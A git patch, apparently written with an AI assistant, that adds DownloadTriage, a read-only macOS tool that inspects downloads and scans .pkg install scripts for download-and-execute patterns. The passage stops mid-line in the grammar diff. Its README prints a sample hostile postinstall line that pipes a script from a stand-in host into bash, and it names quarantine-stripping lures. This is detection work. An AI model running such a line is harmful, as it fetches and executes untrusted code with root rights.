From a995974040c2ee81cbd7d2b34d1245d2cc57bec3 Mon Sep 17 00:00:00 2001 From: DareDev256 Date: Wed, 29 Jul 2026 12:24:11 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20DownloadTriage=20=E2=80=94=20inspect=20?= =?UTF-8?q?installers=20before=20you=20double-click=20them?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ShellGuard guards the shell prompt. That is ONE execution path. A double-clicked .command, a .pkg preinstall running as root, an .app inside a DMG, a .scpt in Script Editor — none of them touch a zsh prompt, so none could ever be caught at accept-line. The kit had no coverage of the deliver stage at all. THE .pkg CASE IS THE POINT A package's preinstall/postinstall runs as ROOT, and the user is conditioned to type an admin password into Installer.app because that is what every legitimate install looks like. GuestMode's "a phished password can't escalate" framing does not cover it: the escalation is the installer's documented behaviour, not an exploit. So the tool expands the package and runs its install scripts through the SAME grammar that guards the shell prompt — if it would be blocked at your terminal, it is flagged in the installer, and the script is shown to you. pkgutil --expand-full unpacks; it does not execute. tests/test-downloadtriage.sh asserts that with a fixture whose postinstall would create a marker file: the marker never appears. FALSE POSITIVES FOUND BY RUNNING IT FOR REAL Running it against a genuine 237-item Downloads folder caught a bad one in my own tool: it reported the OFFICIAL SIGNAL INSTALLER as "REJECTED — unsigned". `spctl -a` with no type argument assumes an executable, so it returns "no usable signature" for legitimate .dmg and .zip files. A security tool that tells you Signal is unsigned is worse than no tool. Gatekeeper verdicts are now rendered only where Gatekeeper actually judges: .app, .pkg (with -t install), and Mach-O binaries. For a .dmg the tool says plainly that the signature lives on the app inside and was not checked, and offers --mount. Archives and shell scripts are never assessed — scripts are READ through the grammar instead. Real-folder flag count: 15 -> 3. SHARED GRAMMAR BUG `local` re-declared inside a loop makes zsh echo "name=value" to stdout. clickfix_check did this in three places, so `d=socat` leaked into the output of anything sourcing the grammar. Invisible in ShellGuard (writes to /dev/tty) and in the corpus runner (reads only the verdict), but it corrupted DownloadTriage's report. All loop-scoped locals hoisted to a single declaration. DMGs are not mounted without --mount; mounting is itself a delivery step in current campaigns. Kit goes to seven tools. README, install.sh menu and the kill-chain table updated. New macOS CI job. Honest prior art: Objective-See's WhatsYourSign is the better everyday "who signed this?" tool and is linked; the additive sliver is connecting .pkg install scripts to the ClickFix grammar. Tests: 12/12 downloadtriage · 78/78 corpus · 10/10 baseline · 72 exposurescan · 4/4 pty integration. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur --- .github/workflows/ci.yml | 11 + CHANGELOG.md | 46 ++++ README.md | 8 +- downloadtriage/README.md | 114 +++++++++ downloadtriage/downloadtriage.zsh | 381 ++++++++++++++++++++++++++++++ install.sh | 12 + lib/clickfix-grammar.zsh | 13 +- tests/test-downloadtriage.sh | 136 +++++++++++ 8 files changed, 712 insertions(+), 9 deletions(-) create mode 100644 downloadtriage/README.md create mode 100755 downloadtriage/downloadtriage.zsh create mode 100755 tests/test-downloadtriage.sh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 350db55..889ca8e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -79,6 +79,17 @@ jobs: # run, which silently absorbed whatever had just been planted. run: bash tests/test-watchpost-baseline.sh + downloadtriage: + name: DownloadTriage catches root-privileged pkg scripts (macOS) + runs-on: macos-latest + steps: + - uses: actions/checkout@v4 + - name: Build fixture packages and assert they are triaged correctly + # Builds its own .pkg fixtures with pkgbuild. Asserts a hostile + # postinstall is flagged, a benign one is not, and — the load-bearing + # check — that expanding a package never EXECUTES its scripts. + run: bash tests/test-downloadtriage.sh + exposurescan-tests: name: ExposureScan redaction invariants runs-on: ubuntu-latest diff --git a/CHANGELOG.md b/CHANGELOG.md index 25ffb1c..a29ff10 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,52 @@ All notable changes to the ClickFix Defense Kit are documented here. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.3.0] — 2026-07-29 + +### Added — DownloadTriage (7th tool) + +ShellGuard guards the shell prompt. That is one execution path, and macOS has +many — a double-clicked `.command`, a `.pkg` preinstall running as **root**, an +`.app` inside a DMG, a `.scpt` in Script Editor. None touch a zsh prompt, so +none could be caught at `accept-line`. This closes the **deliver** stage. + +- **`.pkg` install scripts are expanded and run through the shared grammar.** + A package's `preinstall`/`postinstall` runs as root, and the user is + *conditioned* to type an admin password into Installer.app — so GuestMode's + "a phished password can't escalate" framing does not cover it. The escalation + is the installer's documented behaviour. If a script would be blocked at your + terminal, it is flagged in the installer too, and shown to you. + `pkgutil --expand-full` unpacks; it never executes. A test asserts exactly + that, using a fixture whose `postinstall` would create a marker file. +- Reports quarantine attribute (ABSENT on an executable means Gatekeeper will + not inspect it at all), `kMDItemWhereFroms` origin URL checked against the + grammar's malware-staging host list, and Gatekeeper verdict + signer. +- `.command`, `.terminal` and `.sh` contents are read through the grammar. +- DMGs are **not** mounted without `--mount`, because mounting is itself a + delivery step in current campaigns. +- `--json` for scripting; exit `2` when something wants attention. + +### Fixed — false positives found by running it on a real Downloads folder + +- **An early build reported the official Signal installer as "REJECTED — + unsigned."** `spctl -a` with no type argument assumes an executable, so it + returns "no usable signature" for legitimate `.dmg` and `.zip` files. A tool + that tells you Signal is unsigned is worse than no tool. Gatekeeper verdicts + are now rendered only for `.app`, `.pkg` (with `-t install`) and Mach-O + binaries. For a `.dmg` the tool says plainly that the signature lives on the + app inside and was not checked. +- A malware-staging host on a non-executable (a `.txt` from a Discord CDN link) + now warns rather than alarms. +- On a real 237-item Downloads folder this cut flagged items from 15 to 3. + +### Fixed — shared grammar leaked variables into stdout + +`local` re-declared inside a loop makes zsh echo `name=value`. `clickfix_check` +did this in three places, so `d=socat` and similar leaked into the stdout of +anything sourcing the grammar. Invisible in ShellGuard (which writes to +`/dev/tty`) and in the corpus runner (which reads only the verdict), but it +corrupted DownloadTriage's report. All loop-scoped locals are now declared once. + ## [0.2.0] — 2026-07-29 The kit was born from a breach and, until this release, had nothing for the hour diff --git a/README.md b/README.md index a3663f2..09b9e1f 100644 --- a/README.md +++ b/README.md @@ -93,13 +93,14 @@ autopilot can be interrupted, contained, or at least *noticed*. ## The tools -Six small tools, each independent, each installable on its own. They stack into -defense-in-depth across the kill chain: **copy → paste → execute → escalate → -persist → exfiltrate**, plus a self-audit of what's already exposed. +Seven small tools, each independent, each installable on its own. They stack into +defense-in-depth across the kill chain: **deliver → copy → paste → execute → +escalate → persist → exfiltrate**, plus a self-audit of what's already exposed. | Tool | Stage it covers | What it actually stops / does | Honest positioning vs. prior art | |------|-----------------|-------------------------------|----------------------------------| | **[ShellGuard](./shellguard)** | **Execute** | A zsh guard that tokenizes the command you are about to run, and stops download/decode-and-execute shapes **at the moment you press Enter** — two tiers: a typed confirmation phrase for unambiguous attacks, a single Enter for heuristics. | **The zero-permission control point.** Objective-See's **BlockBlock** added ClickFix protection at Cmd+V in Feb 2026 and inspects real paste content — if you will install a system extension, run it. ShellGuard's remaining honest claim is narrower and still real: it needs **no root, no kext, no system extension and no TCC grant**, it is the only layer that fires on a **typed** (not pasted) command, and it gates at the last authoritative moment: execution. | +| **[DownloadTriage](./downloadtriage)** | **Deliver** | Read-only inspection of `~/Downloads` before you double-click: quarantine flag, origin URL, Gatekeeper verdict — and for a `.pkg`, it expands the package and runs its **root-privileged** install scripts through the same grammar that guards your shell prompt. | Closes the paths ShellGuard structurally cannot see: a double-clicked `.command`, a `.pkg` preinstall running as root, a `.app` in a DMG. Objective-See's **WhatsYourSign** is the better everyday "who signed this?" tool and is linked. The additive sliver is connecting `.pkg` install scripts to the ClickFix grammar. | | **[ExposureScan](./exposurescan)** | **Self-audit** | A read-only, **names-and-counts-only** scan of four surfaces (browser logins, Apple Notes, `.env` files, `~/.secrets`, plus PII markers) that prints a **blast-radius map ranked by pivot value** — never a single secret value. | **Inverts the trufflehog/gitleaks posture.** Those tools *find and print the value*. ExposureScan answers *"what would a stealer walk away with?"* with the values **architecturally absent from the code path**. That inversion is the product. | | **[ClipSentinel](./clipsentinel)** | **Copy** | A dependency-free clipboard watchdog. Fires a macOS notification the instant a dangerous command lands on your clipboard — the earliest interception point, before any terminal is involved. | **Use BlockBlock instead if you'll install a system extension** — since Feb 2026 it inspects actual paste content at Cmd+V and does this job better. ClipSentinel is the **zero-permission fallback**: nothing to approve, nothing to trust with root, which is the difference between a family member having *something* and having nothing. It cannot block a paste (macOS exposes no API to); the authoritative block is ShellGuard. | | **[Canary](./canary)** | **Detect breach** | A honeytoken generator. Plants traceable decoy credentials (fake AWS keys, `.env`, `passwords.txt`) where stealers grab them, with a walkthrough to wire them to **canarytokens.org** (network callback) and/or `eslogger` (local read-watch). | The network-callback half is **Thinkst Canarytokens' / Objective-See's** territory and they win it — this tool is the *turnkey placement + literacy layer* around them. The only additive sliver is the `eslogger` local-read tripwire for a "read-and-walk-away" attacker. | @@ -170,6 +171,7 @@ Each tool also installs standalone — see its folder's `README.md`. 1. **ShellGuard** — the load-bearing block. Install first. 2. **ExposureScan** — run it once to see your current blast radius and fix the P0s. +2b. **DownloadTriage** — run it once over `~/Downloads` to see what is already sitting there. 3. **ClipSentinel** — copy-time early warning. 4. **GuestMode** — make a non-admin account for anyone who isn't you. 5. **Canary** — plant tripwires so you'd *know* if something got through. diff --git a/downloadtriage/README.md b/downloadtriage/README.md new file mode 100644 index 0000000..3fc0aaa --- /dev/null +++ b/downloadtriage/README.md @@ -0,0 +1,114 @@ +# DownloadTriage + +**"I downloaded this. Should I open it?"** + +Read-only inspection of what is sitting in your Downloads folder, *before* you +double-click it. Nothing is opened, mounted, installed, or executed. + +```sh +./downloadtriage.zsh # ~/Downloads, last 30 days +./downloadtriage.zsh # one thing +./downloadtriage.zsh --all # no date filter +./downloadtriage.zsh --mount # allow DMG mounting for deep inspection +./downloadtriage.zsh --json # machine-readable +``` + +Exit `0` nothing notable · `2` something wants your attention. + +--- + +## Why this exists + +ShellGuard guards the shell prompt. That is **one** execution path, and macOS has +many. None of these ever touch a zsh prompt, so none of them can be stopped at +`accept-line`: + +- a double-clicked `.command` or `.terminal` — opens Terminal and runs +- a `.pkg` whose `preinstall`/`postinstall` script runs **as root** +- an `.app` inside a mounted DMG +- a `.scpt` that opens in Script Editor + +This closes the **deliver** stage of the kill chain, which the rest of the kit +did not cover. + +## The `.pkg` case is the important one + +An installer package can carry `preinstall` and `postinstall` scripts, and +**those run as root**. The user is *conditioned* to type an admin password into +Installer.app — it looks exactly like every legitimate install they have ever +done. + +This is why GuestMode's framing ("a phished password can't escalate") does not +help here: the escalation is the installer's documented behaviour, not an +exploit. + +So DownloadTriage expands the package with `pkgutil --expand-full` and runs its +install scripts through **the same grammar that guards your shell prompt** +(`../lib/clickfix-grammar.zsh`). If the script would have been blocked at your +terminal, it gets flagged in the installer too — and you are shown the script. + +``` +[!] Hostile-Installer.pkg + quarantine ABSENT gatekeeper REJECTED signer unsigned + • Its install script matches a download-and-execute pattern — and .pkg + scripts run as ROOT. + --- install script --- + postinstall:block + REASONS:Downloads code from the internet and pipes it straight into bash + --- script contents --- + #!/bin/bash + curl -fsSL https://evil.test/stage2.sh | bash +``` + +`pkgutil --expand-full` unpacks. It does not run anything. There is a test that +asserts exactly this: a fixture package whose `postinstall` would create a marker +file, and the marker never appears. + +## What it reports + +| Fact | Why it matters | +|---|---| +| **Quarantine attribute** | Gatekeeper only inspects files carrying `com.apple.quarantine`. **ABSENT** on something executable means Gatekeeper will not check it at all — either it did not arrive through a browser, or the flag was stripped (`xattr -c` is a documented step in "the app is damaged, right-click Open" lures). | +| **Origin URL** | From `kMDItemWhereFroms`. The single most useful fact about a download, and invisible in `ls`. Checked against the grammar's known malware-staging hosts. | +| **Gatekeeper verdict + signer** | For file types Gatekeeper actually judges — see below. | +| **Install scripts** | For `.pkg`/`.mpkg`, run through the shared grammar. | +| **Script contents** | For `.command`, `.terminal`, `.sh` — read and run through the grammar. | + +## What it deliberately does *not* judge + +This matters as much as what it flags. An early build reported the **official +Signal installer as "REJECTED — unsigned"**, because `spctl -a` with no type +argument assumes an executable. A tool that tells you Signal is unsigned is worse +than no tool, so: + +- **`.dmg`** — the signature lives on the `.app` *inside* the image. Assessing + the image itself returns "no usable signature" for legitimate installers, so + no verdict is rendered. Use `--mount` to inspect the contents. +- **`.zip` / `.tar` / `.gz`** — archives are not signed. Never assessed. +- **`.sh` / `.command` / plain text** — not signed. They are **read** instead. +- **`.pkg`** — assessed with `-t install`, which is the correct context. + +Only `.app`, `.pkg`, and Mach-O binaries get a Gatekeeper verdict. + +## DMGs are not mounted by default + +Mounting a disk image is itself a step in current macOS stealer campaigns, so +`--mount` is opt-in. Without it you get everything except the inner signature. + +## Prior art, honestly + +- **[Objective-See](https://objective-see.org)** — `WhatsYourSign` adds signing + info to Finder's right-click menu and is the better everyday tool for + "who signed this?". Install it. +- **`spctl` / `codesign` / `xattr`** ship with macOS and are what this shells out + to. Nothing here is a new detection primitive. + +The additive part is narrow and specific: **expanding a `.pkg` and running its +root-privileged install scripts through the same ClickFix grammar that guards +the shell prompt.** Nothing else in the kit — or, as far as I can find, in the +consumer tooling — connects those two things. + +## Permissions + +None. No Full Disk Access, no root, no network. It reads file metadata and +unpacks archives into a temp directory it deletes afterwards. diff --git a/downloadtriage/downloadtriage.zsh b/downloadtriage/downloadtriage.zsh new file mode 100755 index 0000000..49059cb --- /dev/null +++ b/downloadtriage/downloadtriage.zsh @@ -0,0 +1,381 @@ +#!/bin/zsh +# downloadtriage.zsh — ClickFix Defense Kit +# ============================================================================= +# "I downloaded this. Should I open it?" +# +# ShellGuard watches the shell prompt. That is one execution path, and macOS has +# many. A double-clicked .command, a .pkg whose preinstall script runs as ROOT, a +# .app from a mounted DMG, a Script Editor lure — none of them ever touch a zsh +# prompt, so none of them can be caught at accept-line. +# +# This closes the DELIVER stage: it inspects what is already sitting in your +# Downloads folder, BEFORE you double-click it. +# +# WHY .pkg IS THE IMPORTANT CASE +# An installer package can carry preinstall/postinstall scripts that run as +# root, and the user is *conditioned* to type an admin password into +# Installer.app — it looks exactly like a legitimate install. GuestMode's +# "a phished password cannot escalate" framing does not cover it, because the +# escalation is the documented behaviour of the installer. So this tool +# expands the package and runs its scripts through the SAME grammar that +# guards your shell prompt (../lib/clickfix-grammar.zsh). +# +# IT NEVER EXECUTES ANYTHING. +# `pkgutil --expand-full` unpacks; it does not run. DMGs are NOT mounted +# unless you pass --mount, because mounting is itself an attack step in +# current campaigns. Nothing here opens, launches, or installs. +# +# Usage: +# ./downloadtriage.zsh triage ~/Downloads (last 30 days) +# ./downloadtriage.zsh triage one file or directory +# ./downloadtriage.zsh --all no date filter +# ./downloadtriage.zsh --days N change the window (default 30) +# ./downloadtriage.zsh --mount allow DMG mounting for deep inspection +# ./downloadtriage.zsh --json machine-readable summary +# +# Exit: 0 nothing notable · 2 something wants your attention · 1 usage error +# +# DEFENSIVE USE ONLY. Read-only. No network. Nothing leaves the machine. +# ============================================================================= + +emulate -L zsh +setopt local_options no_nomatch pipe_fail + +typeset -r ROOT=${0:A:h:h} +typeset -r GRAMMAR=$ROOT/lib/clickfix-grammar.zsh + +typeset TARGET="$HOME/Downloads" +typeset -i DAYS=30 ALLTIME=0 ALLOW_MOUNT=0 JSON=0 + +while (( $# )); do + case $1 in + --all) ALLTIME=1; shift ;; + --days) DAYS=${2:-30}; shift 2 ;; + --mount) ALLOW_MOUNT=1; shift ;; + --json) JSON=1; shift ;; + -h|--help) sed -n '3,40p' ${0:A} | sed 's/^# \{0,1\}//'; exit 0 ;; + -*) print -u2 -- "Unknown option: $1 (try --help)"; exit 1 ;; + *) TARGET=$1; shift ;; + esac +done + +if [[ ! -r $GRAMMAR ]]; then + print -u2 -- "[downloadtriage] FATAL: cannot read $GRAMMAR" + exit 1 +fi +source "$GRAMMAR" + +if [[ -t 1 ]] && (( ! JSON )); then + B=$'\033[1m'; R=$'\033[1;31m'; Y=$'\033[33m'; G=$'\033[32m'; D=$'\033[2m'; X=$'\033[0m' +else + B=''; R=''; Y=''; G=''; D=''; X='' +fi + +typeset -i N_SEEN=0 N_FLAG=0 +typeset -a JSON_ROWS + +# --------------------------------------------------------------------------- +# Fact gathering — each returns a short string, never executes the target +# --------------------------------------------------------------------------- + +# Gatekeeper only inspects files carrying com.apple.quarantine. A file WITHOUT +# it either never came from a download-aware app, or had it stripped — and +# stripping it is a documented step in "the app is damaged, right-click Open" +# social engineering. +_quarantine() { + local q + q=$(xattr -p com.apple.quarantine "$1" 2>/dev/null) + if [[ -z $q ]]; then + print -r -- "ABSENT" + else + print -r -- "present" + fi +} + +# The origin URL. This is the single most useful fact about a download and it +# is invisible in `ls`. +_origin() { + local o + o=$(mdls -raw -name kMDItemWhereFroms "$1" 2>/dev/null \ + | tr -d '\n' | sed -E 's/[(){}"]//g; s/^[[:space:]]*//; s/,.*$//') + [[ -z $o || $o == '(null)' || $o == 'null' ]] && o='' + print -r -- "$o" +} + +# Gatekeeper's own verdict, plus who signed it. +# +# The assessment TYPE matters. `spctl -a` with no type assumes an executable, so +# running it against a .pkg or an archive returns "rejected / no usable +# signature" for perfectly legitimate files. Reporting that as a finding is how +# you end up telling someone the official Signal installer is unsigned. +_assess() { + local out verdict auth kind=$2 + case $kind in + pkg|mpkg) out=$(spctl -a -vv -t install "$1" 2>&1) ;; + *) out=$(spctl -a -vv "$1" 2>&1) ;; + esac + if print -r -- "$out" | grep -q 'accepted'; then + verdict=accepted + elif print -r -- "$out" | grep -q 'rejected'; then + verdict=REJECTED + else + verdict=unknown + fi + auth=$(print -r -- "$out" | grep -m1 'origin=' | sed 's/.*origin=//') + [[ -z $auth ]] && auth=$(codesign -dv --verbose=2 "$1" 2>&1 | grep -m1 'Authority=' | sed 's/.*Authority=//') + [[ -z $auth ]] && auth='unsigned' + print -r -- "${verdict}|${auth}" +} + +# --------------------------------------------------------------------------- +# The important one: expand a .pkg and read its install scripts +# --------------------------------------------------------------------------- +# `pkgutil --expand-full` writes the package's contents to disk. It does NOT +# run anything. A pre/postinstall script here executes as ROOT at install time. +_scan_pkg_scripts() { + # Every local is declared ONCE here. Re-running `local body` inside the loop + # made zsh echo "body=$'...'" into stdout — the script's own debug noise + # landing in the report. + local pkg=$1 + local tmp findings='' s body + tmp=$(mktemp -d "${TMPDIR:-/tmp}/dltriage.XXXXXX") || return 1 + + if ! pkgutil --expand-full "$pkg" "$tmp/x" >/dev/null 2>&1; then + rm -rf -- "$tmp" + print -r -- "UNREADABLE" + return 0 + fi + + # ONE glob. Two overlapping patterns reported every script twice. + for s in "$tmp"/x/**/(preinstall|postinstall)(N.); do + [[ -f $s ]] || continue + body=$(<"$s") + [[ -z ${body//[[:space:]]/} ]] && continue + + # The payoff of the shared grammar: the same tokenizer that guards the + # shell prompt now reads an installer script that would run as root. + clickfix_check "$body" + findings+="${s:t}:${CLICKFIX_VERDICT}"$'\n' + if [[ $CLICKFIX_VERDICT != silent ]]; then + findings+=" REASONS:${(j:; :)CLICKFIX_REASONS}"$'\n' + # Keep a sanitized excerpt so the user can see it with their own eyes. + # Indent via sed, not a zsh substitution: ${x//$'\n'/...} does not expand + # the replacement, so it emitted a literal $'\n' into the report. + findings+=" --- script contents ---"$'\n' + findings+="$(clickfix_sanitize_for_display "$body" 20 | sed 's/^/ /')"$'\n' + fi + done + + rm -rf -- "$tmp" + [[ -z $findings ]] && print -r -- "NONE" || print -r -- "$findings" +} + +# --------------------------------------------------------------------------- +# Per-file triage +# --------------------------------------------------------------------------- +_triage_one() { + local f=$1 + local ext=${f:e:l} name=${f:t} + local -a notes + local tier=ok + + (( N_SEEN++ )) + + local q=$(_quarantine "$f") + local origin=$(_origin "$f") + + # Gatekeeper assessment is only MEANINGFUL for things macOS would actually + # launch. `spctl -a` "rejects" an ordinary .txt or .png too, and reporting + # that as a finding is crying wolf on every document in the folder — which is + # how a tool earns itself being ignored. Assess only what can execute. + # Only ask Gatekeeper about things Gatekeeper actually judges. + # + # .app / .pkg — signed and notarized as a unit. Assess these. + # .dmg — the signature lives on the .app INSIDE. Assessing the + # image itself returns "no usable signature" for legitimate + # installers, so we say nothing rather than something false. + # .zip/.tar/.gz — archives are not signed. Never assess. + # .sh/.command — plain text. Not signed; we READ them instead. + local -i assessable=0 + case $ext in + app|pkg|mpkg) assessable=1 ;; + esac + # An executable binary (not a text script) is also fair game. + if [[ -x $f && ! -d $f && $ext != (sh|command|terminal|scpt|applescript|py|rb|pl) ]]; then + file -b "$f" 2>/dev/null | grep -qi 'mach-o' && assessable=1 + fi + + local verdict='n/a' auth='n/a' assess + if (( assessable )); then + assess=$(_assess "$f" "$ext") + verdict=${assess%%|*} + auth=${assess#*|} + fi + + # --- risk rules ----------------------------------------------------------- + + # Directly-executable-by-double-click script types. These are the ClickFix + # delivery formats that never involve a shell prompt. + case $ext in + command|terminal|scpt|applescript|workflow|shortcut) + notes+=( "Double-clicking this RUNS it. '.${ext}' opens straight into Terminal/Script Editor." ) + tier=warn + # If it is a plain-text script, read it with the shared grammar. + if [[ $ext == (command|terminal) && -r $f ]]; then + local body=$(<"$f") + clickfix_check "$body" + if [[ $CLICKFIX_VERDICT != silent ]]; then + notes+=( "Its contents match a download-and-execute pattern: ${(j:; :)CLICKFIX_REASONS}" ) + tier=danger + fi + fi + ;; + esac + + # The root-escalation case. + if [[ $ext == pkg || $ext == mpkg ]]; then + local sc=$(_scan_pkg_scripts "$f") + if [[ $sc == UNREADABLE ]]; then + notes+=( "Could not expand the package to read its install scripts." ) + [[ $tier == ok ]] && tier=warn + elif [[ $sc != NONE ]]; then + if print -r -- "$sc" | grep -q ':block'; then + notes+=( "Its install script matches a download-and-execute pattern — and .pkg scripts run as ROOT." ) + tier=danger + elif print -r -- "$sc" | grep -q ':warn'; then + notes+=( "Its install script has a suspicious shape. .pkg scripts run as ROOT." ) + [[ $tier != danger ]] && tier=warn + else + notes+=( "Has install scripts (they run as root); grammar found nothing hostile in them." ) + fi + PKG_DETAIL=$sc + fi + fi + + # A missing quarantine flag on something executable means Gatekeeper will not + # inspect it at all. + if [[ $q == ABSENT && $ext == (app|pkg|mpkg|dmg|command|terminal|scpt) ]]; then + notes+=( "No quarantine flag — Gatekeeper will NOT check this on open. Either it did not arrive via a browser, or the flag was stripped." ) + [[ $tier == ok ]] && tier=warn + fi + + if (( assessable )) && [[ $verdict == REJECTED ]]; then + notes+=( "Gatekeeper REJECTS this (unsigned, unnotarized, or tampered)." ) + tier=danger + fi + + # Origin host, checked against the grammar's known malware-staging hosts. + if [[ -n $origin ]]; then + local host=${${origin#*://}%%/*} + local risky + for risky in $CLICKFIX_HIGH_RISK_HOSTS; do + if [[ ${(L)host} == ${(L)risky} || ${(L)host} == *.${(L)risky} ]]; then + notes+=( "Downloaded from ${host} — a host commonly used to stage malware payloads." ) + if (( assessable )) || [[ $ext == (dmg|command|terminal|scpt|sh|zip) ]]; then + tier=danger + elif [[ $tier == ok ]]; then + tier=warn # a .txt from a risky host is worth noting, not alarming + fi + fi + done + fi + + # Any downloaded shell script, not just .command — read it, do not assess it. + if [[ $ext == (sh|bash|zsh) && -r $f && ! -d $f ]]; then + local sbody=$(<"$f") + clickfix_check "$sbody" + if [[ $CLICKFIX_VERDICT != silent ]]; then + notes+=( "Downloaded shell script whose contents match a download-and-execute pattern: ${(j:; :)CLICKFIX_REASONS}" ) + tier=danger + fi + fi + + if [[ $ext == dmg ]]; then + if (( ALLOW_MOUNT )); then + notes+=( "Disk image — mount requested; inspect the .app inside for its real signature." ) + else + notes+=( "Disk image not mounted (mounting is itself a delivery step), so its signature was not checked — that lives on the app inside. Re-run with --mount to inspect." ) + fi + fi + + # --- output --------------------------------------------------------------- + (( ${#notes} == 0 )) && return 0 + [[ $tier != ok ]] && (( N_FLAG++ )) + + if (( JSON )); then + JSON_ROWS+=( "{\"file\":\"${name//\"/\\\"}\",\"tier\":\"$tier\",\"quarantine\":\"$q\",\"gatekeeper\":\"$verdict\",\"signer\":\"${auth//\"/\\\"}\",\"origin\":\"${origin//\"/\\\"}\"}" ) + return 0 + fi + + local badge + case $tier in + danger) badge="${R}[!]${X}" ;; + warn) badge="${Y}[?]${X}" ;; + *) badge="${D}[.]${X}" ;; + esac + + print -r -- "" + print -r -- "$badge ${B}${name}${X}" + [[ -n $origin ]] && print -r -- " ${D}from${X} $origin" + if (( assessable )); then + print -r -- " ${D}quarantine${X} $q ${D}gatekeeper${X} $verdict ${D}signer${X} $auth" + else + print -r -- " ${D}quarantine${X} $q ${D}(Gatekeeper does not judge this file type)${X}" + fi + local n + for n in "${notes[@]}"; do + print -r -- " • $n" + done + if [[ -n ${PKG_DETAIL:-} && $tier != ok ]]; then + print -r -- " ${D}--- install script ---${X}" + print -r -- "$PKG_DETAIL" | sed 's/^/ /' + PKG_DETAIL='' + fi +} + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- +if [[ ! -e $TARGET ]]; then + print -u2 -- "No such path: $TARGET" + exit 1 +fi + +(( JSON )) || { + print -r -- "${B}Download triage${X} ${D}— $TARGET${X}" + print -r -- "${D}Read-only. Nothing is opened, mounted, installed or executed.${X}" +} + +typeset -a files +if [[ -d $TARGET ]]; then + if (( ALLTIME )); then + files=( "$TARGET"/*(.N) "$TARGET"/*.app(N/) "$TARGET"/*.pkg(N) ) + else + files=( ${(f)"$(find "$TARGET" -maxdepth 1 \( -type f -o -name '*.app' \) -mtime -${DAYS} 2>/dev/null)"} ) + fi +else + files=( "$TARGET" ) +fi + +typeset f +for f in "${files[@]}"; do + [[ -z $f || ! -e $f ]] && continue + [[ ${f:t} == .* ]] && continue + _triage_one "$f" +done + +if (( JSON )); then + print -r -- "{\"scanned\":$N_SEEN,\"flagged\":$N_FLAG,\"items\":[${(j:,:)JSON_ROWS}]}" +else + print -r -- "" + if (( N_FLAG == 0 )); then + print -r -- "${G}Nothing notable${X} across $N_SEEN item(s)." + else + print -r -- "${R}${N_FLAG}${X} of $N_SEEN item(s) want your attention." + print -r -- "${D}A [!] on a .pkg matters most: its install scripts run as root, and you are${X}" + print -r -- "${D}conditioned to type an admin password into Installer.app.${X}" + fi +fi + +(( N_FLAG > 0 )) && exit 2 +exit 0 diff --git a/install.sh b/install.sh index d515ec0..ca3a896 100755 --- a/install.sh +++ b/install.sh @@ -23,6 +23,7 @@ # ./install.sh watchpost Install WatchPost # ./install.sh exposurescan Make ExposureScan runnable + run a scan # ./install.sh canary Make Canary runnable (then run it to plant) +# ./install.sh downloadtriage Make DownloadTriage runnable # ./install.sh guestmode Make GuestMode runnable (dry-run by default) # ./install.sh all Install the persistent tools (ShellGuard, # ClipSentinel, WatchPost) + make scripts runnable @@ -113,6 +114,13 @@ install_exposurescan() { ok "ExposureScan ready: ./exposurescan/exposurescan.py --help" } +install_downloadtriage() { + make_runnable downloadtriage downloadtriage.zsh + info "DownloadTriage is read-only — it never opens, mounts or installs anything." + info "Run it over your Downloads folder: ./downloadtriage/downloadtriage.zsh" + ok "DownloadTriage ready." +} + install_canary() { make_runnable canary canary-gen.sh info "Canary plants DECOY honeytokens on YOUR machine. Nothing is planted yet." @@ -136,6 +144,7 @@ install_all() { install_watchpost make_runnable exposurescan exposurescan.py make_runnable canary canary-gen.sh + make_runnable downloadtriage downloadtriage.zsh make_runnable guestmode setup-guestmode.sh ok "Persistent tools installed; ExposureScan/Canary/GuestMode made runnable." info "Run ./exposurescan/exposurescan.py to see your current blast radius." @@ -157,6 +166,7 @@ install_menu() { say " ${BOLD}3${RST}) ClipSentinel ${DIM}clipboard copy-time early warning${RST}" say " ${BOLD}4${RST}) GuestMode ${DIM}standard non-admin account (containment)${RST}" say " ${BOLD}5${RST}) Canary ${DIM}honeytoken tripwire generator${RST}" + say " ${BOLD}7${RST}) DownloadTriage ${DIM}inspect ~/Downloads before you double-click${RST}" say " ${BOLD}6${RST}) WatchPost ${DIM}persistence diff for unattended/headless Macs${RST}" say " ${BOLD}a${RST}) All persistent tools + make the rest runnable" say " ${BOLD}u${RST}) Uninstall menu" @@ -170,6 +180,7 @@ install_menu() { 3) require_macos; install_clipsentinel ;; 4) require_macos; install_guestmode ;; 5) install_canary ;; + 7) install_downloadtriage ;; 6) require_macos; install_watchpost ;; a|A) install_all ;; u|U) uninstall_menu ;; @@ -294,6 +305,7 @@ main() { watchpost) require_macos; install_watchpost ;; exposurescan) install_exposurescan ;; canary) install_canary ;; + downloadtriage) install_downloadtriage ;; guestmode) require_macos; install_guestmode ;; all) install_all ;; uninstall) diff --git a/lib/clickfix-grammar.zsh b/lib/clickfix-grammar.zsh index 6bbae86..fa29efa 100644 --- a/lib/clickfix-grammar.zsh +++ b/lib/clickfix-grammar.zsh @@ -485,6 +485,10 @@ clickfix_check() { # ---- walk statements, classifying each pipeline stage ---------------- local -a stmt local stage cw + # Declared ONCE. zsh echoes "name=value" when `local name` re-runs on an + # already-set name inside a loop, so these must not be re-declared below. + local tier m d p sbody + local -i found=0 netp=0 execp=0 local -i saw_dl saw_dec si local -a stmt_words @@ -509,11 +513,10 @@ clickfix_check() { # interpreter later. Covers curl|sh, curl|tee|sh, curl|gunzip|bash, # base64 -d|sh, and every interposed-stage variant in one rule. if _cfg_is_interpreter "$cw" && (( saw_dl || saw_dec )); then - local tier=block + tier=block # `curl api | python3 -m json.tool` is a data formatter, not a # code loader. Downgrade rather than train the user to ignore us. if [[ $stage == *-m[[:space:]]* ]]; then - local m for m in $CLICKFIX_SAFE_MODULES; do [[ $stage == *"-m "*"$m"* ]] && tier=warn done @@ -529,7 +532,7 @@ clickfix_check() { # This is the `bash 